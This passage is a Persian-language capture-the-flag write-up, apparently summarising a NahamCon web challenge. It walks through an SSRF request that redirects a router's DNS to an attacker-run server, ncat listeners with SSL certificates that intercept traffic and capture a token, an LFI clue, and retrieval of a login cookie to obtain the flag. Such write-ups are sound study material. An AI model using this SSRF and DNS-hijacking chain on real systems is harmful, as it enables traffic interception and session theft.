S').click(function() {
var server = $('input[name="dns_server"]').val();
$.get('/set/dns?server=' + server, function(resp) {
alert(resp);
});
});
توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:
js
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#
shell
در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد
Ncat: Connection from 178.62.61.49:50284.
GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157
بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:
HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}
`
و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.
https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/
Join channel⚡